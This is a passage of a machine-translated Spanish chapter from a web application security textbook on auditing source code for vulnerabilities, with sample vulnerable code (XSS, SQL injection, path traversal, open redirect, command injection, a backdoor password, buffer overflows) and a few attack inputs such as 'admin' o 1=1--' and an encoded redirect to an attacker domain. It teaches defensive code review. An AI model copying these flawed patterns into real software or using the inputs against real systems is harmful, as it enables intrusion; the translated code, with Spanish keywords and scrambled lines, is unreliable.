Hasta ahora, todas las técnicas de ataque que hemos descrito han implicado interactuar
con una aplicación en ejecución en vivo y han consistido en gran medida en enviar
información manipulada a la aplicación y monitorear sus respuestas. Este capítulo
examina un enfoque completamente diferente para encontrar vulnerabilidades: revisar el
código fuente de la aplicación.
En varias situaciones, puede ser posible realizar una auditoría del código fuente para ayudar
atacar una aplicación web de destino:
n Algunas aplicaciones son de código abierto o utilizan componentes de código abierto, lo

que le permite descargar su código del repositorio correspondiente y buscar
vulnerabilidades.
n Si está realizando una prueba de penetración en un contexto de consultoría, el

propietario de la aplicación puede otorgarle acceso a su código fuente para maximizar
la eficacia de su auditoría.
n Es posible que descubra una vulnerabilidad de divulgación de archivos dentro de una
aplicación que le permita descargar su código fuente (ya sea en parte o en su totalidad).
n La mayoría de las aplicaciones utilizan algún código del lado del cliente, como JavaScript, que es
accesible sin necesidad de ningún acceso privilegiado.
A menudo se cree que para llevar a cabo una revisión de código, debe ser un programador
experimentado y tener un conocimiento detallado del lenguaje que se utiliza.
Sin embargo, esto no necesita ser el caso. Se pueden leer muchos lenguajes de alto nivel
701
702 Capítulo 19 n Búsqueda de vulnerabilidades en el código fuente
y entendido por alguien con experiencia limitada en programación. Además, muchos tipos de
vulnerabilidades se manifiestan de la misma manera en todos los lenguajes comúnmente
utilizados para las aplicaciones web. La mayoría de las revisiones de código se pueden llevar a
cabo utilizando una metodología estándar. Puede usar una hoja de trucos para ayudar a
comprender la sintaxis relevante y las API que son específicas para el idioma y el entorno con
el que está tratando. Este capítulo describe la metodología básica que debe seguir y proporciona
hojas de trucos para algunos de los idiomas que probablemente encontrará.
Enfoques para la revisión del código
Puede adoptar una variedad de enfoques para llevar a cabo una revisión de código para ayudar
a maximizar su efectividad en el descubrimiento de fallas de seguridad dentro del tiempo
disponible. Además, a menudo puede integrar su revisión de código con otros enfoques de
prueba para aprovechar las fortalezas inherentes de cada uno.
Pruebas de caja negra frente a pruebas de caja blanca
La metodología de ataque descrita en capítulos anteriores a menudo se describe como un

enfoque de caja negra para las pruebas. Esto implica atacar la aplicación desde el exterior y
monitorear sus entradas y salidas, sin conocimiento previo de su funcionamiento interno. Por el
contrario, un enfoque de caja blanca implica mirar dentro de las partes internas de la aplicación,
con acceso completo a la documentación de diseño, el código fuente y otros materiales.
Realizar una revisión de código de caja blanca puede ser una forma muy efectiva de descubrir
vulnerabilidades dentro de una aplicación. Con acceso al código fuente, a menudo es posible
localizar rápidamente problemas que serían extremadamente difíciles o requerirían mucho
tiempo para detectar utilizando solo técnicas de caja negra. Por ejemplo, una contraseña de
puerta trasera que otorga acceso a cualquier cuenta de usuario puede ser fácil de identificar al
leer el código, pero casi imposible de detectar mediante un ataque de adivinación de contraseñas.
Sin embargo, la revisión de código no suele ser un sustituto eficaz de las pruebas de caja
negra. Por supuesto, en cierto sentido, todas las vulnerabilidades de una aplicación están “en el
código fuente”, por lo que, en principio, debe ser posible localizar todas esas capacidades de
vulnerabilidad a través de la revisión del código. Sin embargo, muchas vulnerabilidades se
pueden descubrir de manera más rápida y eficiente utilizando métodos de caja negra. Usando
las técnicas de fuzzing automatizadas descritas en el Capítulo 14, es posible enviar a una
aplicación cientos de casos de prueba por minuto, que se propagan a través de todas las rutas
de código relevantes y devuelven una respuesta de inmediato. Al enviar disparadores para
vulnerabilidades comunes a cada campo en cada formulario, a menudo es posible encontrar en
minutos una gran cantidad de problemas que llevaría días descubrir a través de la revisión del
código. Además, muchas aplicaciones de clase empresarial tienen una estructura compleja con numerosos
Capítulo 19 n Búsqueda de vulnerabilidades en el código fuente 703
capas de procesamiento de entrada proporcionada por el usuario. Se implementan diferentes

controles y verificaciones en cada capa, y lo que parece ser una clara vulnerabilidad en una
parte del código fuente puede mitigarse por completo con el código en otro lugar.
En la mayoría de las situaciones, las técnicas de caja negra y caja blanca pueden
complementarse y mejorarse mutuamente. A menudo, después de haber encontrado una
vulnerabilidad prima facie a través de la revisión del código, la forma más fácil y efectiva de
establecer si es real es probarla en la aplicación en ejecución. Por el contrario, después de
haber identificado algún comportamiento anómalo en una aplicación en ejecución, a menudo la
forma más fácil de investigar su causa raíz es revisar el código fuente relevante. Si es factible,
por lo tanto, debe tratar de combinar una combinación adecuada de técnicas de caja negra y blanca.
Permita que el tiempo y el esfuerzo que dedica a cada uno se guíen por el comportamiento de
la aplicación durante las pruebas prácticas y el tamaño y la complejidad del código base.
Metodología de revisión de código

Es probable que cualquier aplicación razonablemente funcional contenga muchos miles de
líneas de código fuente y, en la mayoría de los casos, es probable que el tiempo disponible para
revisarla esté restringido, tal vez a solo unos pocos días. Por lo tanto, un objetivo clave de la
revisión eficaz del código es identificar tantas vulnerabilidades de seguridad como sea posible,
con una cierta cantidad de tiempo y esfuerzo. Para lograr esto, debe adoptar un enfoque
estructurado, utilizando varias técnicas para garantizar que la " fruta madura" dentro del código
base se identifique rápidamente, dejando tiempo para buscar problemas que son más sutiles y
más difíciles de detectar.
Según la experiencia de los autores, un enfoque triple para auditar el código base de una
aplicación web es efectivo para identificar vulnerabilidades rápida y fácilmente. Esta metodología
comprende los siguientes elementos:
1. Rastrear datos controlables por el usuario desde sus puntos de entrada a la aplicación y
revisar el código responsable de procesarlos.
2. Buscar firmas en el código base que puedan indicar la presencia de vulnerabilidades

comunes y revisar estas instancias para determinar si existe una vulnerabilidad real.
3. Realizar una revisión línea por línea del código inherentemente riesgoso para comprender
la lógica de la aplicación y encontrar cualquier problema que pueda existir dentro de ella.
Los componentes funcionales que se pueden seleccionar para esta revisión minuciosa
incluyen los mecanismos de seguridad clave dentro de la aplicación (autenticación,
administración de sesiones , control de acceso y cualquier validación de entrada de
toda la aplicación), interfaces para componentes externos y cualquier instancia donde
se use código nativo ( típicamente C/C++).
Comenzaremos analizando las formas en que varias vulnerabilidades comunes de

aplicaciones web aparecen a nivel de código fuente y cómo se pueden solucionar.
más fácil de identificar al realizar una revisión. Esto proporcionará una forma de buscar
firmas de vulnerabilidades en el código base (paso 2) y revisar de cerca las áreas de
riesgo del código (paso 3).
Luego, veremos algunos de los lenguajes de desarrollo web más populares para
identificar las formas en que una aplicación adquiere los datos enviados por el usuario (a
través de parámetros de solicitud, cookies, etc.). También veremos cómo una aplicación
interactúa con la sesión del usuario, las API potencialmente peligrosas que existen dentro
de cada idioma y las formas en que la configuración y el entorno de cada idioma pueden
afectar la seguridad de la aplicación. Esto proporcionará una forma de rastrear los datos
controlables por el usuario desde su punto de entrada a la aplicación (paso 1), así como
también proporcionará un contexto por idioma para ayudar con los otros pasos de la metodología.
Finalmente, discutiremos algunas herramientas que son útiles al realizar la revisión de código.
NOTA Al realizar una auditoría de código, siempre debe tener en cuenta que las
aplicaciones pueden ampliar las clases de biblioteca y las interfaces, pueden
implementar contenedores para llamadas API estándar y pueden implementar
mecanismos personalizados para tareas críticas para la seguridad, como el
almacenamiento de información por sesión. Antes de lanzarse a los detalles de una
revisión de código, debe establecer el alcance de dicha personalización y adaptar su enfoque a la revisión en cons
Firmas de vulnerabilidades comunes

Muchos tipos de vulnerabilidades de aplicaciones web tienen una firma bastante
consistente dentro del código base. Esto significa que normalmente puede identificar
una buena parte de las vulnerabilidades de una aplicación escaneando y buscando
rápidamente en el código base. Los ejemplos que se presentan aquí aparecen en varios
idiomas, pero en la mayoría de los casos la firma es independiente del idioma. Lo que
importa es la técnica de programación que se emplea, más que las API y la sintaxis reales.
Secuencias de comandos entre sitios
En los ejemplos más obvios de XSS, partes del HTML devuelto al usuario se construyen
explícitamente a partir de datos controlables por el usuario. Aquí, el objetivo de un enlace
HREF se construye utilizando cadenas tomadas directamente de la cadena de consulta
en la solicitud:
Enlace de cadena = “<a href=” + HttpUtility.UrlDecode(Request.QueryString [“refURL”]) + “&SiteID=” + SiteId

+ “&Path=” + HttpUtility.UrlEncode (Request.QueryString[“Path”]) + “</a>”; objCell.InnerHtml = enlace;
El remedio habitual para las secuencias de comandos entre sitios, que consiste en codificar en HTML el
contenido potencialmente malicioso, no se puede aplicar posteriormente a los archivos concatenados resultantes.
cadena, porque ya contiene marcado HTML válido. Cualquier intento de desinfectar los
datos dañaría la aplicación al codificar el HTML que la propia aplicación ha especificado.
Por lo tanto, el ejemplo es ciertamente vulnerable a menos que existan filtros en otro lugar
que bloqueen las solicitudes que contienen vulnerabilidades XSS dentro de la cadena de
consulta. Este enfoque basado en filtros para detener los ataques XSS a menudo falla. Si
está presente, debe revisarlo detenidamente para identificar cualquier forma de evitarlo
En casos más sutiles, los datos controlables por el usuario se usan para establecer el valor
de una variable que luego se usa para generar la respuesta al usuario. Aquí, la variable de
miembro de clase m_pageTitle se establece en un valor tomado de la cadena de consulta de
solicitud. Presumiblemente , se usará más adelante para crear el elemento <title> dentro de la
página HTML devuelta :
setPageTitle vacío privado (solicitud HttpServletRequest) lanza

ServletException
{
Cadena requestType = request.getParameter(“tipo”);
if (“3”.equals(requestType) && null!=request.getParameter(“title”))

m_pageTitle = request.getParameter(“título”);
else m_pageTitle = “Solicitud de banca en línea”;

}
Cuando encuentre un código como este, debe revisar detenidamente el

procesamiento realizado posteriormente en la variable m_pageTitle . Debería ver
cómo se incorpora en la página devuelta para determinar si los datos están
codificados adecuadamente para evitar ataques XSS.
El ejemplo anterior demuestra claramente el valor de una revisión de código para
encontrar algunas vulnerabilidades. La falla XSS solo se puede activar si un parámetro
diferente (tipo) tiene un valor específico (3). Es posible que las pruebas estándar de fuzz
y el análisis de vulnerabilidades de la solicitud correspondiente no detecten la vulnerabilidad.
Inyección SQL
Las vulnerabilidades de inyección SQL suelen surgir cuando varias cadenas codificadas de forma
rígida se concatenan con datos controlables por el usuario para formar una consulta SQL, que
luego se ejecuta dentro de la base de datos. Aquí, una consulta se construye utilizando datos
tomados directamente de la cadena de consulta de la solicitud:
StringBuilder SqlQuery = newStringBuilder(“SELECCIONE nombre, accno DESDE

TblClientes DONDE “ + SqlDónde);
if(Request.QueryString[“CID”] != null && Request.QueryString[“PageId”]

== “2”)
{
SqlQuery.Append(“ AND CustomerID = “);
SqlQuery.Append(Solicitud.QueryString[“CID”].ToString());
}
...
Una forma sencilla de identificar rápidamente este tipo de fruta madura dentro de la base de
código es buscar en la fuente las subcadenas codificadas, que a menudo se usan para construir
consultas a partir de la entrada proporcionada por el usuario. Estas subcadenas generalmente
consisten en fragmentos de SQL y se citan en la fuente, por lo que puede ser rentable buscar
patrones apropiados compuestos por comillas, palabras clave de SQL y espacios. Por ejemplo:
"SELECCIONE
"INSERTAR
"ELIMINAR
"Y
"O
" DÓNDE
“ ORDENAR POR
En cada caso, debe verificar si estas cadenas se concatenan con datos controlables por el
usuario de una manera que introduce capacidades de vulnerabilidad de inyección SQL. Dado que
las palabras clave de SQL se procesan sin distinguir entre mayúsculas y minúsculas, las búsquedas
de estos términos tampoco deben distinguir entre mayúsculas y minúsculas. Tenga en cuenta que
se puede agregar un espacio a cada uno de estos términos de búsqueda para reducir la incidencia
de falsos positivos en los resultados.
Recorrido de ruta
La firma habitual para las vulnerabilidades de cruce de ruta implica que la entrada controlable
por el usuario se pasa a una API del sistema de archivos sin ninguna validación de la entrada o
verificación de que se ha seleccionado un archivo apropiado. En el caso más común , los datos
del usuario se agregan a una ruta de directorio codificada o especificada por el sistema, lo que
permite que un atacante use secuencias de punto-punto-barra para escalar el árbol de directorios
para acceder a archivos en otros directorios. Por ejemplo:
byte público [] GetAttachment (Solicitud HttpRequest)

{
FileStream fsAttachment = new FileStream(SpreadsheetPath +
HttpUtility.UrlDecode(Request.QueryString[“Adjuntar nombre”]), FileMode.Open, FileAccess.Read,
FileShare.Read);
byte[] bAttachment = new byte[fsAttachment.Length]; fsAttachment.Read (Contenido

del archivo, 0,
Convert.ToInt32(fsAttachment.Length,
InformaciónCultura.CulturaActual));
fsAttachment.Close();
volver bAdjunto;
}
Debe revisar detenidamente cualquier funcionalidad de la aplicación que permita a los usuarios
cargar o descargar archivos. Debe comprender cómo se invocan las API del sistema de archivos
en respuesta a los datos proporcionados por el usuario y determinar si la entrada manipulada se
puede usar para acceder a los archivos en una ubicación no deseada. A menudo, puede identificar
rápidamente la funcionalidad relevante buscando en la base de código los nombres de cualquier
parámetro de cadena de consulta que se relacione con los nombres de archivo (Adjuntar nombre
en el ejemplo actual). También puede buscar todas las API de archivos en el idioma correspondiente
y revisar los parámetros que se les pasan. (Consulte las secciones posteriores para obtener una
lista de las API relevantes en idiomas comunes).
Redirección arbitraria
Varios vectores de phishing, como los redireccionamientos arbitrarios, a menudo son fáciles de
detectar a través de firmas en el código fuente. En este ejemplo, los datos proporcionados por el
usuario de la cadena de consulta se utilizan para construir una URL a la que se redirige al usuario:
identificador de vacío privado Cancelar ()

{
httpResponse.Redirect(HttpUtility.UrlDecode(Request.QueryString[
“refURL”]) + “&SiteCode=” +
Request.QueryString[“SiteCode”].ToString() + “&UserId=” +
Request.QueryString[“UserId”].ToString());
}
A menudo, puede encontrar redireccionamientos arbitrarios al inspeccionar el código del lado del
cliente, que por supuesto no requiere ningún acceso especial a las partes internas de la aplicación.
Aquí, JavaScript se usa para extraer un parámetro de la cadena de consulta de URL y, en última
instancia, redirigir a él:
url = documento.URL;
índice = url.indexOf('?redir='); target =

unescape(url.substring(index + 7, url.length));
objetivo = unescape(objetivo);
if ((index = target.indexOf('//')) > 0) { target = target.substring (index

+ 2, target.length); índice = destino.indexOf('/'); destino = destino.subcadena(índice,
destino.longitud);
}
objetivo = unescape(objetivo);
documento.ubicación = objetivo;
Como puede ver, el autor de este script sabía que el script era un objetivo potencial para los
ataques de redirección a una URL absoluta en un dominio externo. La secuencia de comandos
comprueba si la URL de redirección contiene una barra inclinada doble (como en http://). Si lo
hace, la secuencia de comandos salta la doble barra inclinada a la primera barra simple,
convirtiéndola así en una URL relativa. Sin embargo, la secuencia de comandos realiza una última
llamada a la función unescape() , que desempaqueta los caracteres codificados en URL. Realizar
la canonicalización después de la validación a menudo conduce a una vulnerabilidad (consulte el Capítulo 2).
En este caso, un atacante puede provocar una redirección a una URL absoluta arbitraria con la
siguiente cadena de consulta:
?redir=http:%25252f%25252fwahh-atacante.com
Inyección de comandos del sistema operativo
El código que interactúa con sistemas externos a menudo contiene firmas que indican fallas
en la inyección de código. En el siguiente ejemplo, los parámetros del mensaje y la dirección
se han extraído de los datos de formulario controlables por el usuario y se pasan directamente
a una llamada a la API del sistema UNIX:
void send_mail(const char *mensaje, const char *dirección)

{
char sendMailCmd[4096];
snprintf(sendMailCmd, 4096, “echo '%s' | sendmail %s”, mensaje, dirección); sistema (sendMailCmd);
devolver;
}
Contraseñas de puerta trasera
A menos que un programador malintencionado las haya ocultado deliberadamente, las

contraseñas de puerta trasera que se han utilizado con fines administrativos o de prueba suelen
destacarse al revisar la lógica de validación de credenciales. Por ejemplo:
perfil de usuario privado validar usuario (nombre de usuario de cadena, contraseña de cadena)
{
Perfil de usuario up = getUserProfile (nombre de usuario);
if (checkCredentials(up, password) ||
“oculiomnium”.equals(password))
volver arriba;
devolver nulo;
}
Otros elementos que pueden identificarse fácilmente de esta manera incluyen funciones no
referenciadas y parámetros de depuración ocultos.
Errores de software nativo

Debe revisar detenidamente cualquier código nativo utilizado por la aplicación en busca de
vulnerabilidades clásicas que puedan explotarse para ejecutar código arbitrario.
Vulnerabilidades de desbordamiento de búfer
Por lo general, emplean una de las API no verificadas para la manipulación del
búfer, de las cuales hay muchas, incluidas strcpy, strcat, memcpy y sprintf, junto
con sus variantes wide-char y otras. Una manera fácil de identificar la fruta madura
dentro del código base es buscar todos los usos de estas API y verificar si el búfer
de origen es controlable por el usuario. También debe verificar si el código se ha
asegurado explícitamente de que el búfer de destino sea lo suficientemente grande
como para acomodar los datos que se copian en él (porque la propia API no lo hace).
Las llamadas vulnerables a las API no seguras suelen ser fáciles de identificar. En el siguiente ejemplo,
la cadena pszName controlable por el usuario se copia en un búfer basado en una pila de tamaño fijo sin
verificar que el búfer sea lo suficientemente grande para acomodarlo:
BOOL CALLBACK CFiles::EnumNameProc(LPTSTR pszName) {
char strNombreArchivo[MAX_PATH];
strcpy(strNombreArchivo, pszNombre);
...
}
Tenga en cuenta que el hecho de que se emplee una alternativa segura a una API no
verificada no garantiza que no se produzca un desbordamiento del búfer. A veces, debido a
un error o malentendido, una API verificada se usa de manera no segura, como en el siguiente
“arreglo” de la vulnerabilidad anterior:
BOOL CALLBACK CFiles::EnumNameProc(LPTSTR pszName) {
strncpy(strFileName, pszName, strlen(pszName));
...
}
Por lo tanto, una auditoría de código exhaustiva para detectar vulnerabilidades de desbordamiento de
búfer generalmente implica una revisión detallada línea por línea de todo el código base, rastreando cada
operación realizada en datos controlables por el usuario.
Vulnerabilidades de enteros
Estos vienen en muchas formas y pueden ser extremadamente sutiles, pero algunas instancias son fáciles
de identificar a partir de las firmas dentro del código fuente.
Las comparaciones entre enteros con signo y sin signo a menudo generan problemas.
En la siguiente "corrección" de la vulnerabilidad anterior, un entero con signo (len) se
compara con un entero sin signo (sizeof(strFileName)). Si el usuario puede diseñar una
situación en la que len tenga un valor negativo, esta comparación tendrá éxito y seguirá
ocurriendo el strcpy sin marcar:
BOOL CALLBACK CFiles::EnumNameProc(LPTSTR pszName, int len)

{
if (len < tamaño de (strFileName))

strcpy(strNombreArchivo, pszNombre);
...
}
Vulnerabilidades de cadena de formato
Por lo general, puede identificarlos rápidamente buscando usos de las familias de

funciones printf y FormatMessage donde el parámetro de cadena de formato no está
codificado pero es controlable por el usuario. La siguiente llamada a fprintf es un ejemplo:
void logAuthenticationAttempt(char* nombre de usuario);

{
char tmp[64];
snprintf(tmp, 64, “intento de inicio de sesión para: %s\n”, nombre de usuario);
tmp[63] = 0;
fprintf(g_archivo_registro, tmp);
}
Comentarios del código fuente
Muchas vulnerabilidades de software están documentadas en los comentarios del

código fuente . Esto ocurre a menudo porque los desarrolladores son conscientes de
que una operación en particular no es segura y graban un recordatorio para solucionar
el problema más tarde, pero nunca llegan a hacerlo. En otros casos, las pruebas
identificaron algún comportamiento anómalo dentro de la aplicación que se comentó
dentro del código pero que nunca se investigó por completo. Por ejemplo, los autores
encontraron lo siguiente dentro del código de producción de una aplicación:
charbuf[200]; // Espero que esto sea lo suficientemente grande

...
strcpy(buf, entrada de usuario);
La búsqueda de comentarios en una gran base de código que indiquen problemas comunes
suele ser una fuente eficaz de frutos al alcance de la mano. Aquí hay algunos términos de
búsqueda que han demostrado ser útiles:
error _
n problema
n mal
n esperanza
n todo
arreglar _
n desbordamiento
n accidente
n inyectar
n xss
n confianza
La plataforma Java
Esta sección describe formas de adquirir información proporcionada por el usuario, formas de
interactuar con la sesión del usuario, API potencialmente peligrosas y opciones de configuración
relevantes para la seguridad en la plataforma Java.
Identificación de datos proporcionados por el usuario
Las aplicaciones Java adquieren la entrada enviada por el usuario a través de javax.servlet.http.
Interfaz HttpServletRequest , que amplía la interfaz javax.servlet.ServletRequest . Estas dos
interfaces contienen numerosas API que las aplicaciones web pueden usar para acceder a
los datos proporcionados por el usuario. Las API enumeradas en la Tabla 19-1 se pueden
usar para obtener datos de la solicitud del usuario.
Tabla 19-1: API utilizadas para adquirir datos proporcionados por el usuario en la plataforma Java
API DESCRIPCIÓN
getParameter Los parámetros dentro de la cadena de consulta de URL y el cuerpo

de una solicitud POST se almacenan como un mapa de nombres
getParameterNames
de cadena a valores de cadena, a los que se puede acceder
obtener valores de parámetros mediante estas API.
getParameterMap
getQueryString Devuelve la cadena de consulta completa contenida en la solicitud

y se puede utilizar como una alternativa a las API getParameter.
getHeader Los encabezados HTTP en la solicitud se almacenan como un

mapa de nombres de cadena a valores de cadena y se puede
getHeaders
acceder a ellos mediante estas API.
getHeaderNames
getRequestURI Estas API devuelven la URL contenida en la solicitud, incluida

la cadena de consulta.
getRequestURL
obtenerCookies Devuelve una matriz de objetos Cookie, que contienen detalles de

las cookies recibidas en la solicitud, incluidos sus nombres y valores.
getRequestedSessionId Se utiliza como alternativa a getCookies en algunos

casos; devuelve el valor de ID de sesión enviado dentro de la
solicitud.
getInputStream Estas API devuelven diferentes representaciones de la solicitud

sin procesar recibida del cliente y, por lo tanto, se pueden usar
getReader
para acceder a cualquier información obtenida por todas las
demás API.
getMethod Devuelve el método utilizado en la solicitud HTTP.
obtenerProtocolo Devuelve el protocolo utilizado en la solicitud HTTP.
getServerName Devuelve el valor del encabezado del host HTTP.
obtenerUsuarioRemoto Si el usuario actual está autenticado, estas API devuelven detalles

del usuario, incluido su nombre de inicio de sesión. Si los usuarios
getUserPrincipal
pueden elegir su propio nombre de usuario durante el autorregistro,
esto puede ser un medio de introducir información maliciosa en el
procesamiento de la aplicación.
Interacción de sesión
Las aplicaciones de la plataforma Java utilizan la interfaz javax.servlet.http.HttpSession para
almacenar y recuperar información dentro de la sesión actual. El almacenamiento por sesión es
un mapa de nombres de cadenas a valores de objetos. Las API enumeradas en la Tabla 19-2 se
utilizan para almacenar y recuperar datos dentro de la sesión.
Tabla 19-2: API utilizadas para interactuar con la sesión del usuario en la plataforma Java
API DESCRIPCIÓN
establecer atributo Se utiliza para almacenar datos dentro de la sesión actual.
ponerValor
getAttribute Se utiliza para consultar los datos almacenados en la sesión actual.
obtener valor
getAttributeNames
getValueNames
API potencialmente peligrosas

Esta sección describe algunas API de Java comunes que pueden presentar
vulnerabilidades de seguridad si se usan de manera no segura.
Acceso a archivos
La clase principal utilizada para acceder a archivos y directorios en Java es java.io.File.

Desde una perspectiva de seguridad, los usos más interesantes de esta clase son las llamadas a
su constructor, que puede tomar un directorio principal y un nombre de archivo, o simplemente un
nombre de ruta.
Cualquiera que sea la forma del constructor que se utilice, pueden existir vulnerabilidades de
cruce de rutas si los datos controlables por el usuario se pasan como el parámetro de nombre de
archivo sin verificar las secuencias punto-punto-barra. Por ejemplo, el siguiente código abre un
archivo en la raíz de la unidad C:\ en Windows:
String entrada de usuario = “..\\boot.ini”;

Archivo f = nuevo archivo ("C:\\temp", entrada de usuario);
Las clases más utilizadas para leer y escribir contenidos de archivos en

Java son:
n java.io.FileInputStream
n java.io.FileOutputStream
n java.io.FileReader
n java.io.FileWriter
Estas clases toman un objeto de archivo en sus constructores o pueden abrir un archivo a
través de una cadena de nombre de archivo, lo que nuevamente puede presentar vulnerabilidades
de recorrido de ruta si se pasan datos controlables por el usuario como este parámetro. Por ejemplo:
String entrada de usuario = “..\\boot.ini”;

FileInputStream fis = new FileInputStream(“C:\\temp\\” + entrada de usuario);
Acceso a la base de datos
Las siguientes son las API más utilizadas para ejecutar una cadena arbitraria
como una consulta SQL:
n java.sql.Connection.createStatement
n java.sql.Statement.execute
n java.sql.Statement.executeQuery
Si la entrada controlable por el usuario es parte de la cadena que se ejecuta como una consulta, es
probablemente vulnerable a la inyección de SQL. Por ejemplo:
String nombre de usuario = “admin' o 1=1--”;

Cadena contraseña = "foo";
Sentencia s = conexión.createStatement();
“' + nombre de usuario +
s.executeQuery(“SELECCIONE * DE usuarios DONDE nombre de usuario =
“'
“' Y contraseña = + contraseña + “'”);
ejecuta esta consulta no deseada:
SELECCIONE * DE usuarios DONDE nombre de usuario = 'admin' o 1=1--' Y contraseña = 'foo'
Las siguientes API son una alternativa más robusta y segura a las descritas anteriormente.
Permiten que una aplicación cree una instrucción SQL precompilada y establezca el valor de sus
marcadores de posición de parámetros de forma segura y con seguridad de tipos:
n java.sql.Connection.prepareStatement
n java.sql.PreparedStatement.setString
n java.sql.PreparedStatement.setInt
n java.sql.PreparedStatement.setBoolean
n java.sql.PreparedStatement.setObject
n java.sql.PreparedStatement.execute
n java.sql.PreparedStatement.executeQuery
etcétera.
Si se usan según lo previsto, no son vulnerables a la inyección de SQL. Por ejemplo:
String nombre de usuario = “admin' o 1=1--”;

Cadena contraseña = "foo";
Declaración s = conexión.prepareStatement(
“SELECCIONE * DE usuarios DONDE nombre de usuario = ? Y contraseña = ?”);
s.setString(1, nombre de usuario);
s.setString(2, contraseña);
s.executeQuery();
da como resultado una consulta que es equivalente a lo siguiente:
SELECCIONE * DE usuarios DONDE nombre de usuario = 'admin'' o 1=1--' Y

contraseña = 'foo'
Ejecución de código dinámico
El lenguaje Java en sí mismo no contiene ningún mecanismo para la evaluación dinámica del
código fuente de Java, aunque algunas implementaciones (sobre todo dentro de los productos de
base de datos) proporcionan una función para hacerlo. Si la aplicación que está revisando
construye cualquier código Java sobre la marcha, debe comprender cómo se hace esto y
determinar si los datos controlables por el usuario se están utilizando de forma no segura.
Ejecución de comandos del sistema operativo
Las siguientes API son los medios para ejecutar comandos del sistema operativo externo desde
una aplicación Java:
n java.lang.runtime.Runtime.getRuntime
n java.lang.runtime.Runtime.exec
Si el usuario puede controlar por completo el parámetro de cadena pasado a exec, la aplicación
es casi seguro vulnerable a la ejecución de comandos arbitrarios. Por ejemplo, lo siguiente hace
que se ejecute el programa de cálculo de Windows :
Cadena de entrada de usuario = "calc";

Runtime.getRuntime.exec(entrada de usuario);
Sin embargo, si el usuario controla solo una parte de la cadena que se pasa a exec, es
posible que la aplicación no sea vulnerable. En el siguiente ejemplo, los datos controlables por
el usuario se pasan como argumentos de la línea de comandos al proceso del bloc de notas, lo
que hace que intente cargar un documento llamado | calcular:
Cadena de entrada de usuario = “| cálculo”;

Runtime.getRuntime.exec(“bloc de notas” + entrada de usuario);
La API exec en sí misma no interpreta metacaracteres de shell como & y |,

por lo que este ataque falla.
A veces, controlar solo una parte de la cadena que se pasa a exec aún puede ser suficiente
para la ejecución de comandos arbitrarios, como en el siguiente ejemplo sutilmente diferente
(tenga en cuenta el espacio que falta después del bloc de notas):
String entrada de usuario = “\\..\\system32\\calc”;

Runtime.getRuntime().exec(“bloc de notas” + entrada de usuario);
A menudo, en este tipo de situación, la aplicación es vulnerable a algo más que a la

ejecución del código. Por ejemplo, si una aplicación ejecuta el programa wget con un
parámetro controlable por el usuario como la URL de destino, un atacante puede pasar
argumentos peligrosos de la línea de comandos al proceso wget . Por ejemplo, el atacante
podría hacer que wget descargue un documento y lo guarde en una ubicación arbitraria en el
sistema de archivos.
Redirección de URL
Las siguientes API se pueden usar para emitir una redirección HTTP en Java:
n javax.servlet.http.HttpServletResponse.sendRedirect
n javax.servlet.http.HttpServletResponse.setStatus
n javax.servlet.http.HttpServletResponse.addHeader
El medio habitual de provocar una respuesta de redirección es a través del método

sendRedirect , que toma una cadena que contiene una URL relativa o absoluta. Si el valor
de esta cadena es controlable por el usuario, la aplicación probablemente sea vulnerable a
un vector de phishing.
También debe asegurarse de revisar cualquier uso de las API setStatus y addHeader .
Dado que una redirección simplemente implica una respuesta 3xx que contiene un
encabezado de ubicación HTTP , una aplicación puede implementar redirecciones utilizando estas API.
Enchufes
La clase java.net.Socket toma varias formas de host de destino y detalles del puerto en sus
constructores. Si los parámetros pasados son controlables por el usuario de alguna manera,
la aplicación puede explotarse para provocar conexiones de red a hosts arbitrarios, ya sea
en Internet o en la DMZ privada o en la red interna en la que está alojada la aplicación.
Configuración del entorno Java

El archivo web.xml contiene ajustes de configuración para el entorno de la plataforma Java
y controla cómo se comportan las aplicaciones. Si una aplicación usa seguridad administrada
por contenedor, la autenticación y la autorización se declaran en web.xml para cada recurso
o colección de recursos que se protegerá, fuera del código de la aplicación. La Tabla 19-3
muestra las opciones de configuración que se pueden configurar en el archivo web.xml .
Los servlets pueden aplicar comprobaciones programáticas con HttpServletRequest.isU
serInRole para acceder a la misma información de funciones desde el código del servlet. A
La entrada de mapeo security-role-ref vincula la verificación de rol integrada con el rol

de contenedor correspondiente.
Además de web.xml, diferentes servidores de aplicaciones pueden usar archivos de implementación
secundarios (por ejemplo, weblogic.xml) que contienen otras configuraciones relevantes para la seguridad.
Debe incluirlos al examinar la configuración del entorno.
Tabla 19-3: Ajustes de configuración relevantes para la seguridad para el entorno Java
AJUSTE DESCRIPCIÓN
configuración de inicio de sesión Los detalles de autenticación se pueden configurar dentro del elemento de
configuración de inicio de sesión.
Las dos categorías de autenticación se basan en formularios (la página se

especifica mediante el elemento de página de inicio de sesión del formulario) y
autenticación básica o certificado de cliente, especificado dentro del elemento del
método de autenticación.
Si se utiliza la autenticación basada en formularios, el formulario especificado debe

tener la acción defi nida como j_security_check y debe enviar los parámetros
j_username y j_password. Las aplicaciones Java reconocen esto como una solicitud
de inicio de sesión.
restricción de Si el elemento de configuración de inicio de sesión está defi nido, los recursos
seguridad se pueden restringir utilizando el elemento de restricción de seguridad. Esto se
puede usar para defi nir los recursos a proteger.
Dentro del elemento de restricción de seguridad, las colecciones de recursos

se pueden definir mediante el elemento de patrón de URL. Por ejemplo:
<patrón-url>/admin/*</patrón-url>
Estos son accesibles para roles y principales definidos en los elementos role-
name y principal-name, respectivamente. session-config El tiempo de espera
de la sesión (en minutos) se puede configurar dentro del elemento session-timeout.
página de error El manejo de errores de la aplicación se define dentro del elemento de la página
de errores. Los códigos de error HTTP y las excepciones de Java se pueden
manejar de forma individual a través de los elementos de código de error y tipo de
excepción.
init-param Varios parámetros de inicialización se configuran dentro del elemento init-

param. Estos pueden incluir configuraciones específicas de seguridad, como
listados, que deben establecerse en falso, y depuración, que debe establecerse en
0.
ASP.NET
Esta sección describe los métodos para adquirir entradas proporcionadas por el usuario, formas de
relevantes para la seguridad en la plataforma ASP.NET.
Las aplicaciones ASP.NET adquieren la entrada enviada por el usuario a través de la clase
System.Web .HttpRequest . Esta clase contiene numerosas propiedades y métodos que las
aplicaciones web pueden usar para acceder a los datos proporcionados por el usuario. Las API
enumeradas en la Tabla 19-4 se pueden usar para obtener datos de la solicitud del usuario.
Tabla 19-4: API utilizadas para adquirir datos proporcionados por el usuario en la plataforma ASP.NET
API DESCRIPCIÓN
Parámetros Los parámetros dentro de la cadena de consulta de URL, el cuerpo de una

solicitud POST, las cookies HTTP y diversas variables del servidor se
almacenan como mapas de nombres de cadena a valores de cadena. Esta
